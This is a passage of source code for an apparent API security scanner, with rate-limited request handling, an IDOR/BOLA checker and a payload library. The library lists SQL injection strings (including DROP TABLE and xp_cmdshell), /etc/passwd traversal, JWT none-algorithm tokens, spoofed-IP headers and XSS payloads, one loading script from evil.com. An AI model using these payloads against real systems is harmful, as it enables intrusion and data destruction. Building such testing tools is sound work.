||||
|
||||
Args:
|
||||
target_url: Base URL of API to scan
|
||||
auth_token: Optional authentication token
|
||||
max_requests: Optional limit on requests (from settings if None)
|
||||
"""
|
||||
self.target_url = target_url.rstrip("/")
|
||||
self.auth_token = auth_token
|
||||
self.max_requests = max_requests or settings.DEFAULT_MAX_REQUESTS
|
||||
self.session = self._create_session()
|
||||
self.last_request_time = 0.0
|
||||
self.request_count = 0
|
||||
|
||||
def _create_session(self) -> requests.Session:
|
||||
"""
|
||||
Create persistent HTTP session with proper headers
|
||||
|
||||
Returns:
|
||||
requests.Session: Configured session object
|
||||
"""
|
||||
session = requests.Session()
|
||||
|
||||
session.headers.update(
|
||||
{
|
||||
"User-Agent":
|
||||
f"{settings.APP_NAME}/{settings.VERSION}",
|
||||
"Accept": "application/json",
|
||||
}
|
||||
)
|
||||
|
||||
if self.auth_token:
|
||||
session.headers.update(
|
||||
{"Authorization": f"Bearer {self.auth_token}"}
|
||||
)
|
||||
|
||||
return session
|
||||
|
||||
def _wait_before_request(
|
||||
self,
|
||||
jitter_ms: int | None = None
|
||||
) -> None:
|
||||
"""
|
||||
Implement request spacing to avoid overwhelming target
|
||||
|
||||
Based on research: production-safe scanning requires spacing
|
||||
requests to avoid triggering rate limits or affecting service.
|
||||
|
||||
Args:
|
||||
jitter_ms: Random jitter in milliseconds to add (DEFAULT_JITTER_MS)
|
||||
"""
|
||||
if jitter_ms is None:
|
||||
jitter_ms = settings.DEFAULT_JITTER_MS
|
||||
|
||||
required_delay = 1.0 / (
|
||||
self.max_requests / settings.SCANNER_RATE_LIMIT_WINDOW_SECONDS
|
||||
)
|
||||
jitter = random.uniform(0, jitter_ms / 1000.0)
|
||||
|
||||
elapsed = time.time() - self.last_request_time
|
||||
|
||||
if elapsed < required_delay:
|
||||
time.sleep(required_delay - elapsed + jitter)
|
||||
else:
|
||||
time.sleep(jitter)
|
||||
|
||||
self.last_request_time = time.time()
|
||||
|
||||
def make_request(
|
||||
self,
|
||||
method: str,
|
||||
endpoint: str,
|
||||
**kwargs: Any,
|
||||
) -> requests.Response:
|
||||
"""
|
||||
Make HTTP request with retry logic and rate limit handling
|
||||
|
||||
Implements exponential backoff for server errors and respects
|
||||
Retry-After headers for 429 responses.
|
||||
|
||||
Args:
|
||||
method: HTTP method (GET, POST, etc.)
|
||||
endpoint: Endpoint path (will be joined with target_url)
|
||||
**kwargs: Additional arguments passed to requests
|
||||
|
||||
Returns:
|
||||
requests.Response: Response object
|
||||
|
||||
Raises:
|
||||
requests.RequestException: If request fails after retries
|
||||
"""
|
||||
self._wait_before_request()
|
||||
|
||||
url = urljoin(self.target_url, endpoint)
|
||||
retry_count = 0
|
||||
backoff_factor = 2.0
|
||||
|
||||
kwargs.setdefault(
|
||||
"timeout",
|
||||
settings.SCANNER_CONNECTION_TIMEOUT
|
||||
)
|
||||
|
||||
while retry_count <= settings.DEFAULT_RETRY_COUNT:
|
||||
try:
|
||||
start_time = time.time()
|
||||
response = self.session.request(method, url, **kwargs)
|
||||
setattr(response, "request_time", time.time() - start_time)
|
||||
|
||||
self.request_count += 1
|
||||
|
||||
if response.status_code == 429:
|
||||
retry_after = response.headers.get(
|
||||
"Retry-After",
|
||||
str(settings.DEFAULT_RETRY_WAIT_SECONDS)
|
||||
)
|
||||
wait_time = (
|
||||
int(retry_after) if retry_after.isdigit() else
|
||||
settings.DEFAULT_RETRY_WAIT_SECONDS
|
||||
)
|
||||
time.sleep(wait_time)
|
||||
retry_count += 1
|
||||
continue
|
||||
|
||||
if response.status_code >= 500 and retry_count < settings.DEFAULT_RETRY_COUNT:
|
||||
wait_time = backoff_factor**retry_count
|
||||
time.sleep(wait_time)
|
||||
retry_count += 1
|
||||
continue
|
||||
|
||||
return response
|
||||
|
||||
except (requests.Timeout, requests.ConnectionError):
|
||||
if retry_count < settings.DEFAULT_RETRY_COUNT:
|
||||
wait_time = backoff_factor**retry_count
|
||||
time.sleep(wait_time)
|
||||
retry_count += 1
|
||||
else:
|
||||
raise
|
||||
|
||||
return response
|
||||
|
||||
def get_baseline_timing(
|
||||
self,
|
||||
endpoint: str,
|
||||
samples: int | None = None
|
||||
) -> tuple[float,
|
||||
float]:
|
||||
"""
|
||||
Establish baseline response time for an endpoint
|
||||
|
||||
Critical for time-based detection (e.g., blind SQLi). Takes multiple
|
||||
samples and calculates mean and standard deviation.
|
||||
|
||||
Args:
|
||||
endpoint: Endpoint to test
|
||||
samples: Number of samples to take (DEFAULT_BASELINE_SAMPLES)
|
||||
|
||||
Returns:
|
||||
tuple[float, float]: (mean_time, stdev_time) in seconds
|
||||
"""
|
||||
if samples is None:
|
||||
samples = settings.DEFAULT_BASELINE_SAMPLES
|
||||
|
||||
times = []
|
||||
|
||||
for _ in range(samples):
|
||||
response = self.make_request("GET", endpoint)
|
||||
times.append(getattr(response, "request_time", 0.0))
|
||||
time.sleep(0.5)
|
||||
|
||||
return statistics.mean(times), statistics.stdev(times)
|
||||
|
||||
def collect_evidence(
|
||||
self,
|
||||
response: requests.Response,
|
||||
payload: Any | None = None,
|
||||
**additional_data: Any,
|
||||
) -> dict[str,
|
||||
Any]:
|
||||
"""
|
||||
Collect evidence from test execution with sensitive data redaction
|
||||
|
||||
Args:
|
||||
response: HTTP response object
|
||||
payload: Payload used in test
|
||||
**additional_data: Additional evidence data
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Evidence dictionary
|
||||
"""
|
||||
evidence = {
|
||||
"status_code":
|
||||
response.status_code,
|
||||
"response_time_ms":
|
||||
round(getattr(response,
|
||||
"request_time",
|
||||
0.0) * 1000,
|
||||
2),
|
||||
"response_length":
|
||||
len(response.text),
|
||||
"headers":
|
||||
self._redact_sensitive_headers(dict(response.headers)),
|
||||
}
|
||||
|
||||
if payload is not None:
|
||||
evidence["payload"] = str(payload)
|
||||
|
||||
evidence.update(additional_data)
|
||||
|
||||
return evidence
|
||||
|
||||
def _redact_sensitive_headers(self,
|
||||
headers: dict[str,
|
||||
str]) -> dict[str,
|
||||
str]:
|
||||
"""
|
||||
Redact sensitive header values for evidence collection
|
||||
|
||||
Args:
|
||||
headers: Original headers dictionary
|
||||
|
||||
Returns:
|
||||
dict[str, str]: Headers with sensitive values redacted
|
||||
"""
|
||||
sensitive_headers = [
|
||||
"authorization",
|
||||
"cookie",
|
||||
"x-api-key",
|
||||
"x-auth-token",
|
||||
]
|
||||
|
||||
redacted = {}
|
||||
for key, value in headers.items():
|
||||
if key.lower() in sensitive_headers:
|
||||
redacted[key] = "[REDACTED]"
|
||||
else:
|
||||
redacted[key] = value
|
||||
|
||||
return redacted
|
||||
|
||||
@abstractmethod
|
||||
def scan(self) -> TestResultCreate:
|
||||
"""
|
||||
Execute the security scan
|
||||
|
||||
Must be implemented by specific scanner classes.
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Result of the scan
|
||||
"""
|
||||
|
|
@ -0,0 +1,335 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
IDOR/BOLA vulnerability scanner
|
||||
|
||||
Based on OWASP API1:2023 - Broken Object Level Authorization
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from typing import Any
|
||||
|
||||
from ..core.enums import ScanStatus, Severity, TestType
|
||||
from ..schemas.test_result_schemas import TestResultCreate
|
||||
from .base_scanner import BaseScanner
|
||||
from .payloads import IDORPayloads
|
||||
|
||||
|
||||
class IDORScanner(BaseScanner):
|
||||
"""
|
||||
Tests for Insecure Direct Object Reference (IDOR) vulnerabilities
|
||||
|
||||
Also known as Broken Object Level Authorization (BOLA).
|
||||
Ranked #1 in OWASP API Security Top 10 2023.
|
||||
|
||||
Detects:
|
||||
- Sequential ID enumeration
|
||||
- UUID exposure and access
|
||||
- Missing authorization checks on object access
|
||||
|
||||
Maps to OWASP API Security Top 10 2023: API1:2023
|
||||
"""
|
||||
|
||||
def scan(self) -> TestResultCreate:
|
||||
"""
|
||||
Execute IDOR/BOLA tests
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Scan result with findings
|
||||
"""
|
||||
id_enumeration_test = self._test_id_enumeration()
|
||||
|
||||
if id_enumeration_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details=f"IDOR vulnerability detected: {id_enumeration_test['vulnerability_type']}",
|
||||
evidence=id_enumeration_test,
|
||||
severity=Severity.HIGH,
|
||||
recommendations=[
|
||||
"Implement proper authorization checks for all object access",
|
||||
"Verify user owns/has permission to access requested resource",
|
||||
"Use UUIDs instead of sequential IDs (but still check authorization)",
|
||||
"Implement access control lists (ACLs) or role-based access control (RBAC)",
|
||||
"Log and monitor unauthorized access attempts",
|
||||
],
|
||||
)
|
||||
|
||||
predictable_id_test = self._test_predictable_id_patterns()
|
||||
|
||||
if predictable_id_test["vulnerable"]:
|
||||
return self._create_vulnerable_result(
|
||||
details="Predictable ID patterns detected enabling enumeration",
|
||||
evidence=predictable_id_test,
|
||||
severity=Severity.MEDIUM,
|
||||
recommendations=[
|
||||
"Use non-sequential, non-predictable identifiers (UUIDs)",
|
||||
"Implement rate limiting on ID-based endpoints",
|
||||
"Add authorization checks regardless of ID format",
|
||||
],
|
||||
)
|
||||
|
||||
return TestResultCreate(
|
||||
test_name=TestType.IDOR,
|
||||
status=ScanStatus.SAFE,
|
||||
severity=Severity.INFO,
|
||||
details="No IDOR/BOLA vulnerabilities detected",
|
||||
evidence_json={
|
||||
"id_enumeration_test": id_enumeration_test,
|
||||
"predictable_id_test": predictable_id_test,
|
||||
},
|
||||
recommendations_json=[
|
||||
"Authorization checks appear to be in place",
|
||||
"Continue monitoring for authorization bypasses",
|
||||
],
|
||||
)
|
||||
|
||||
def _test_id_enumeration(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test for ID enumeration vulnerabilities
|
||||
|
||||
Attempts to access resources with modified IDs to detect
|
||||
missing authorization checks.
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: ID enumeration test results
|
||||
"""
|
||||
extracted_ids = self._extract_ids_from_response()
|
||||
|
||||
if not extracted_ids:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No IDs found in endpoint responses",
|
||||
}
|
||||
|
||||
numeric_test = self._test_numeric_id_manipulation(extracted_ids)
|
||||
if numeric_test["vulnerable"]:
|
||||
return numeric_test
|
||||
|
||||
string_test = self._test_string_id_manipulation(extracted_ids)
|
||||
if string_test["vulnerable"]:
|
||||
return string_test
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"ids_tested": len(extracted_ids),
|
||||
"description": "ID enumeration not possible or blocked",
|
||||
}
|
||||
|
||||
def _extract_ids_from_response(self) -> list[Any]:
|
||||
"""
|
||||
Extract potential IDs from API response
|
||||
|
||||
Looks for numeric IDs, UUIDs, and other identifier patterns.
|
||||
|
||||
Returns:
|
||||
list[Any]: List of extracted IDs
|
||||
"""
|
||||
try:
|
||||
response = self.make_request("GET", "/")
|
||||
|
||||
if response.status_code != 200:
|
||||
return []
|
||||
|
||||
response_text = response.text
|
||||
|
||||
uuid_pattern = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
||||
uuids = re.findall(uuid_pattern, response_text, re.IGNORECASE)
|
||||
|
||||
numeric_id_pattern = r'"id"\s*:\s*(\d+)'
|
||||
numeric_ids = re.findall(numeric_id_pattern, response_text)
|
||||
|
||||
ids = []
|
||||
ids.extend(uuids[:3])
|
||||
ids.extend([int(nid) for nid in numeric_ids[:3]])
|
||||
|
||||
return ids
|
||||
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
def _test_numeric_id_manipulation(
|
||||
self, extracted_ids: list[Any]
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Test numeric ID manipulation for IDOR
|
||||
|
||||
Args:
|
||||
extracted_ids: List of IDs extracted from responses
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Numeric ID manipulation test results
|
||||
"""
|
||||
numeric_ids = [
|
||||
id_val for id_val in extracted_ids if isinstance(id_val, int)
|
||||
]
|
||||
|
||||
if not numeric_ids:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No numeric IDs to test",
|
||||
}
|
||||
|
||||
base_id = numeric_ids[0]
|
||||
|
||||
test_ids = IDORPayloads.NUMERIC_ID_MANIPULATIONS
|
||||
|
||||
accessible_unauthorized = []
|
||||
|
||||
for test_id in test_ids:
|
||||
if test_id == base_id:
|
||||
continue
|
||||
|
||||
try:
|
||||
response = self.make_request("GET", f"/{test_id}")
|
||||
|
||||
if response.status_code == 200:
|
||||
accessible_unauthorized.append(
|
||||
{
|
||||
"id": test_id,
|
||||
"status_code": response.status_code,
|
||||
"response_length": len(response.text),
|
||||
}
|
||||
)
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if accessible_unauthorized:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"vulnerability_type": "Numeric ID Enumeration",
|
||||
"base_id": base_id,
|
||||
"unauthorized_access": accessible_unauthorized,
|
||||
"count": len(accessible_unauthorized),
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"numeric_ids_tested": len(test_ids),
|
||||
}
|
||||
|
||||
def _test_string_id_manipulation(
|
||||
self, extracted_ids: list[Any]
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Test string/UUID ID manipulation for IDOR
|
||||
|
||||
Args:
|
||||
extracted_ids: List of IDs extracted from responses
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: String ID manipulation test results
|
||||
"""
|
||||
string_ids = [
|
||||
id_val for id_val in extracted_ids if isinstance(id_val, str)
|
||||
]
|
||||
|
||||
if not string_ids:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No string IDs to test",
|
||||
}
|
||||
|
||||
test_ids = IDORPayloads.STRING_ID_MANIPULATIONS
|
||||
|
||||
accessible_unauthorized = []
|
||||
|
||||
for test_id in test_ids:
|
||||
try:
|
||||
response = self.make_request("GET", f"/{test_id}")
|
||||
|
||||
if response.status_code == 200:
|
||||
accessible_unauthorized.append(
|
||||
{
|
||||
"id": test_id,
|
||||
"status_code": response.status_code,
|
||||
"response_length": len(response.text),
|
||||
}
|
||||
)
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
if accessible_unauthorized:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"vulnerability_type": "String ID Manipulation",
|
||||
"unauthorized_access": accessible_unauthorized,
|
||||
"count": len(accessible_unauthorized),
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"string_ids_tested": len(test_ids),
|
||||
}
|
||||
|
||||
def _test_predictable_id_patterns(self) -> dict[str, Any]:
|
||||
"""
|
||||
Test if IDs follow predictable patterns
|
||||
|
||||
Predictable IDs (sequential, timestamps) enable enumeration attacks.
|
||||
|
||||
Returns:
|
||||
dict[str, Any]: Predictable ID pattern test results
|
||||
"""
|
||||
try:
|
||||
ids1 = self._extract_ids_from_response()
|
||||
|
||||
ids2 = self._extract_ids_from_response()
|
||||
|
||||
numeric_ids1 = [id for id in ids1 if isinstance(id, int)]
|
||||
numeric_ids2 = [id for id in ids2 if isinstance(id, int)]
|
||||
|
||||
if len(numeric_ids1) >= 2:
|
||||
diff1 = abs(numeric_ids1[1] - numeric_ids1[0])
|
||||
|
||||
if len(numeric_ids2) >= 2:
|
||||
diff2 = abs(numeric_ids2[1] - numeric_ids2[0])
|
||||
|
||||
if diff1 == diff2 and diff1 == 1:
|
||||
return {
|
||||
"vulnerable": True,
|
||||
"pattern_type": "Sequential IDs",
|
||||
"id_difference": diff1,
|
||||
"example_ids": numeric_ids1[:3],
|
||||
}
|
||||
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"description": "No predictable ID patterns detected",
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
return {
|
||||
"vulnerable": False,
|
||||
"error": str(e),
|
||||
"description": "Error testing ID patterns",
|
||||
}
|
||||
|
||||
def _create_vulnerable_result(
|
||||
self,
|
||||
details: str,
|
||||
evidence: dict[str, Any],
|
||||
severity: Severity = Severity.HIGH,
|
||||
recommendations: list[str] | None = None,
|
||||
) -> TestResultCreate:
|
||||
"""
|
||||
Create a vulnerable scan result
|
||||
|
||||
Args:
|
||||
details: Vulnerability description
|
||||
evidence: Evidence dictionary
|
||||
severity: Vulnerability severity
|
||||
recommendations: List of remediation recommendations
|
||||
|
||||
Returns:
|
||||
TestResultCreate: Vulnerable result
|
||||
"""
|
||||
return TestResultCreate(
|
||||
test_name=TestType.IDOR,
|
||||
status=ScanStatus.VULNERABLE,
|
||||
severity=severity,
|
||||
details=details,
|
||||
evidence_json=evidence,
|
||||
recommendations_json=recommendations or [],
|
||||
)
|
||||
|
|
@ -0,0 +1,463 @@
|
|||
"""
|
||||
©AngelaMos | 2025
|
||||
Security testing payloads for various attack vectors
|
||||
"""
|
||||
|
||||
|
||||
class SQLiPayloads:
|
||||
"""
|
||||
SQL Injection test payloads covering various database types and techniques
|
||||
"""
|
||||
|
||||
ERROR_SIGNATURES = {
|
||||
"mysql": [
|
||||
"sql syntax",
|
||||
"mysql_fetch",
|
||||
"mysql_num_rows",
|
||||
"warning: mysql",
|
||||
"mysqli",
|
||||
"mysql error",
|
||||
"mysql_",
|
||||
],
|
||||
"postgres": [
|
||||
"postgresql",
|
||||
"pg_query",
|
||||
"pg_exec",
|
||||
"error: syntax error",
|
||||
"pg_",
|
||||
"pgsql",
|
||||
"postgres error",
|
||||
],
|
||||
"mssql": [
|
||||
"odbc sql server",
|
||||
"sqlserver jdbc driver",
|
||||
"msg ",
|
||||
"sqlexception",
|
||||
"microsoft sql",
|
||||
"sql server",
|
||||
],
|
||||
"oracle": [
|
||||
"ora-",
|
||||
"oracle.jdbc",
|
||||
"oracle error",
|
||||
"oracle database",
|
||||
"pl/sql",
|
||||
],
|
||||
}
|
||||
|
||||
BASIC_AUTHENTICATION_BYPASS = [
|
||||
"' OR '1'='1",
|
||||
"' OR 1=1--",
|
||||
"' OR 1=1#",
|
||||
"' OR 1=1/*",
|
||||
"admin'--",
|
||||
"admin'#",
|
||||
"admin'/*",
|
||||
"' or 1=1--",
|
||||
"' or 1=1#",
|
||||
"' or 1=1/*",
|
||||
") or '1'='1--",
|
||||
") or ('1'='1--",
|
||||
]
|
||||
|
||||
UNION_BASED = [
|
||||
"' UNION SELECT NULL--",
|
||||
"' UNION SELECT NULL,NULL--",
|
||||
"' UNION SELECT NULL,NULL,NULL--",
|
||||
"' UNION ALL SELECT NULL--",
|
||||
"' UNION ALL SELECT NULL,NULL--",
|
||||
"1' UNION SELECT NULL,NULL,NULL--",
|
||||
"1' UNION ALL SELECT table_name,NULL FROM information_schema.tables--",
|
||||
"' UNION SELECT username,password FROM users--",
|
||||
"' UNION SELECT NULL,version()--",
|
||||
"' UNION SELECT NULL,database()--",
|
||||
]
|
||||
|
||||
TIME_BASED_BLIND = [
|
||||
"'; WAITFOR DELAY '0:0:5'--",
|
||||
"1'; WAITFOR DELAY '0:0:5'--",
|
||||
"'; SELECT SLEEP(5)--",
|
||||
"1'; SELECT SLEEP(5)--",
|
||||
"'; BENCHMARK(5000000,MD5('test'))--",
|
||||
"1' AND SLEEP(5)--",
|
||||
"1' OR SLEEP(5)--",
|
||||
"'; pg_sleep(5)--",
|
||||
"1'; pg_sleep(5)--",
|
||||
]
|
||||
|
||||
BOOLEAN_BASED_BLIND = [
|
||||
"1' AND '1'='1",
|
||||
"1' AND '1'='2",
|
||||
"1' AND 1=1--",
|
||||
"1' AND 1=2--",
|
||||
"1' AND SUBSTRING(version(),1,1)='5'--",
|
||||
"1' AND ASCII(SUBSTRING(database(),1,1))>97--",
|
||||
"' AND (SELECT COUNT(*) FROM users)>0--",
|
||||
"' AND (SELECT LENGTH(database()))>0--",
|
||||
]
|
||||
|
||||
ERROR_BASED = [
|
||||
"' AND 1=CONVERT(int,(SELECT @@version))--",
|
||||
"' AND 1=CAST((SELECT @@version) AS int)--",
|
||||
"' AND extractvalue(1,concat(0x7e,version()))--",
|
||||
"' AND updatexml(1,concat(0x7e,version()),1)--",
|
||||
"' AND exp(~(SELECT * FROM (SELECT 1)x))--",
|
||||
"' OR 1 GROUP BY CONCAT_WS(0x3a,version(),floor(rand()*2)) HAVING MIN(0)--",
|
||||
]
|
||||
|
||||
STACKED_QUERIES = [
|
||||
"'; DROP TABLE users--",
|
||||
"'; INSERT INTO users VALUES('hacker','password')--",
|
||||
"'; UPDATE users SET password='hacked'--",
|
||||
"'; EXEC xp_cmdshell('whoami')--",
|
||||
"'; CREATE TABLE test(id INT)--",
|
||||
]
|
||||
|
||||
COMMENT_VARIATIONS = [
|
||||
"admin'--",
|
||||
"admin'#",
|
||||
"admin'/*",
|
||||
"admin'-- -",
|
||||
"admin';--",
|
||||
"admin';#",
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def get_all_payloads(cls) -> list[str]:
|
||||
"""
|
||||
Get all SQLi payloads combined
|
||||
|
||||
Returns:
|
||||
list[str]: All SQLi test payloads
|
||||
"""
|
||||
return (
|
||||
cls.BASIC_AUTHENTICATION_BYPASS + cls.UNION_BASED +
|
||||
cls.TIME_BASED_BLIND + cls.BOOLEAN_BASED_BLIND +
|
||||
cls.ERROR_BASED + cls.STACKED_QUERIES +
|
||||
cls.COMMENT_VARIATIONS
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def get_error_signatures(cls) -> dict[str, list[str]]:
|
||||
"""
|
||||
Get error signatures for detecting database types
|
||||
|
||||
Returns:
|
||||
dict[str, list[str]]: Database error signature mappings
|
||||
"""
|
||||
return cls.ERROR_SIGNATURES
|
||||
|
||||
|
||||
class AuthPayloads:
|
||||
"""
|
||||
Authentication and authorization test payloads
|
||||
"""
|
||||
|
||||
JWT_NONE_ALGORITHM_VARIANTS = [
|
||||
"none",
|
||||
"None",
|
||||
"NONE",
|
||||
"nOnE",
|
||||
"NoNe",
|
||||
"NOne",
|
||||
]
|
||||
|
||||
COMMON_AUTH_HEADERS = [
|
||||
"Authorization",
|
||||
"X-API-Key",
|
||||
"X-Auth-Token",
|
||||
"X-Access-Token",
|
||||
"Bearer",
|
||||
"Token",
|
||||
"API-Key",
|
||||
"ApiKey",
|
||||
"Access-Token",
|
||||
"Session",
|
||||
"X-Session-Token",
|
||||
"X-CSRF-Token",
|
||||
"Authentication",
|
||||
]
|
||||
|
||||
INVALID_TOKEN_FORMATS = [
|
||||
"", # Empty token
|
||||
"invalid",
|
||||
"null",
|
||||
"undefined",
|
||||
"Bearer", # Just the prefix
|
||||
"Bearer ", # Prefix with space
|
||||
"1234567890",
|
||||
"admin",
|
||||
"../../../etc/passwd",
|
||||
"' OR '1'='1",
|
||||
]
|
||||
|
||||
JWT_ATTACKS = [
|
||||
"eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.", # None algorithm
|
||||
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", # No signature
|
||||
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30", # Empty payload
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def get_all_headers(cls) -> list[str]:
|
||||
"""
|
||||
Get all auth header names
|
||||
|
||||
Returns:
|
||||
list[str]: All authentication header variations
|
||||
"""
|
||||
return cls.COMMON_AUTH_HEADERS
|
||||
|
||||
@classmethod
|
||||
def get_jwt_none_variants(cls) -> list[str]:
|
||||
"""
|
||||
Get JWT none algorithm case variations
|
||||
|
||||
Returns:
|
||||
list[str]: None algorithm variations for testing
|
||||
"""
|
||||
return cls.JWT_NONE_ALGORITHM_VARIANTS
|
||||
|
||||
|
||||
class IDORPayloads:
|
||||
"""
|
||||
Insecure Direct Object Reference (IDOR) test patterns
|
||||
"""
|
||||
|
||||
NUMERIC_ID_MANIPULATIONS = [
|
||||
0,
|
||||
-1,
|
||||
1,
|
||||
2,
|
||||
9999,
|
||||
99999,
|
||||
999999,
|
||||
]
|
||||
|
||||
STRING_ID_MANIPULATIONS = [
|
||||
"admin",
|
||||
"root",
|
||||
"test",
|
||||
"user",
|
||||
"1",
|
||||
"0",
|
||||
"../../../etc/passwd",
|
||||
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||
]
|
||||
|
||||
UUID_MANIPULATIONS = [
|
||||
"00000000-0000-0000-0000-000000000000",
|
||||
"11111111-1111-1111-1111-111111111111",
|
||||
"ffffffff-ffff-ffff-ffff-ffffffffffff",
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def get_numeric_tests(cls) -> list[int]:
|
||||
"""
|
||||
Get numeric ID test values
|
||||
|
||||
Returns:
|
||||
list[int]: Numeric ID manipulation values
|
||||
"""
|
||||
return cls.NUMERIC_ID_MANIPULATIONS
|
||||
|
||||
@classmethod
|
||||
def get_string_tests(cls) -> list[str]:
|
||||
"""
|
||||
Get string ID test values
|
||||
|
||||
Returns:
|
||||
list[str]: String ID manipulation values
|
||||
"""
|
||||
return cls.STRING_ID_MANIPULATIONS
|
||||
|
||||
|
||||
class RateLimitBypassPayloads:
|
||||
"""
|
||||
Rate limiting bypass techniques and patterns
|
||||
"""
|
||||
|
||||
HEADER_PATTERNS = {
|
||||
"limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit",
|
||||
"remaining": r"x-ratelimit-remaining|x-rate-limit-remaining|ratelimit-remaining",
|
||||
"reset": r"x-ratelimit-reset|x-rate-limit-reset|ratelimit-reset",
|
||||
"retry_after": r"retry-after",
|
||||
}
|
||||
|
||||
ENDPOINT_VARIATIONS = [
|
||||
"/",
|
||||
"//",
|
||||
"/./",
|
||||
"/.",
|
||||
"/?",
|
||||
"/?dummy=1",
|
||||
"/?test=1",
|
||||
"/;",
|
||||
"/%2e",
|
||||
"/%00",
|
||||
]
|
||||
|
||||
HEADER_SPOOFING = [
|
||||
{
|
||||
"X-Forwarded-For": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"X-Forwarded-For": "8.8.8.8"
|
||||
},
|
||||
{
|
||||
"X-Real-IP": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"X-Originating-IP": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"X-Remote-IP": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"X-Client-IP": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"CF-Connecting-IP": "127.0.0.1"
|
||||
},
|
||||
{
|
||||
"True-Client-IP": "127.0.0.1"
|
||||
},
|
||||
]
|
||||
|
||||
USER_AGENT_ROTATION = [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15",
|
||||
"curl/7.64.1",
|
||||
"python-requests/2.31.0",
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def get_bypass_headers(cls) -> list[dict[str, str]]:
|
||||
"""
|
||||
Get rate limit bypass header combinations
|
||||
|
||||
Returns:
|
||||
list[dict[str, str]]: Header combinations for testing
|
||||
"""
|
||||
return cls.HEADER_SPOOFING
|
||||
|
||||
@classmethod
|
||||
def get_header_patterns(cls) -> dict[str, str]:
|
||||
"""
|
||||
Get rate limit header detection patterns
|
||||
|
||||
Returns:
|
||||
dict[str, str]: Regex patterns for rate limit headers
|
||||
"""
|
||||
return cls.HEADER_PATTERNS
|
||||
|
||||
@classmethod
|
||||
def get_endpoint_variations(cls) -> list[str]:
|
||||
"""
|
||||
Get endpoint variations for bypass testing
|
||||
|
||||
Returns:
|
||||
list[str]: Endpoint path variations
|
||||
"""
|
||||
return cls.ENDPOINT_VARIATIONS
|
||||
|
||||
|
||||
class XSSPayloads:
|
||||
"""
|
||||
Cross-Site Scripting (XSS) test payloads for potential future testing
|
||||
"""
|
||||
|
||||
BASIC_XSS = [
|
||||
"<script>alert('XSS')</script>",
|
||||
"<script>alert(1)</script>",
|
||||
"<script>confirm('XSS')</script>",
|
||||
"<script>prompt('XSS')</script>",
|
||||
"<script src='http://evil.com/xss.js'></script>",
|
||||
]
|
||||
|
||||
EVENT_HANDLER_XSS = [
|
||||
"<img src=x onerror=alert('XSS')>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<body onload=alert('XSS')>",
|
||||
"<input onfocus=alert('XSS') autofocus>",
|
||||
"<select onfocus=alert('XSS') autofocus>",
|
||||
"<textarea onfocus=alert('XSS') autofocus>",
|
||||
"<keygen onfocus=alert('XSS') autofocus>",
|
||||
"<video><source onerror=alert('XSS')>",
|
||||
"<audio src=x onerror=alert('XSS')>",
|
||||
"<details open ontoggle=alert('XSS')>",
|
||||
]
|
||||
|
||||
SVG_XSS = [
|
||||
"<svg/onload=alert('XSS')>",
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg><script>alert('XSS')</script></svg>",
|
||||
"<svg><animate onbegin=alert('XSS')>",
|
||||
"<svg><set attributeName=onmouseover to=alert('XSS')>",
|
||||
]
|
||||
|
||||
IFRAME_XSS = [
|
||||
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
|
||||
"<iframe src=data:text/html,<script>alert('XSS')</script>></iframe>",
|
||||
"<iframe srcdoc='<script>alert(\"XSS\")</script>'></iframe>",
|
||||
]
|
||||
|
||||
ENCODED_XSS = [
|
||||
"<script>alert(String.fromCharCode(88,83,83))</script>",
|
||||
"<script>alert('XSS')</script>",
|
||||
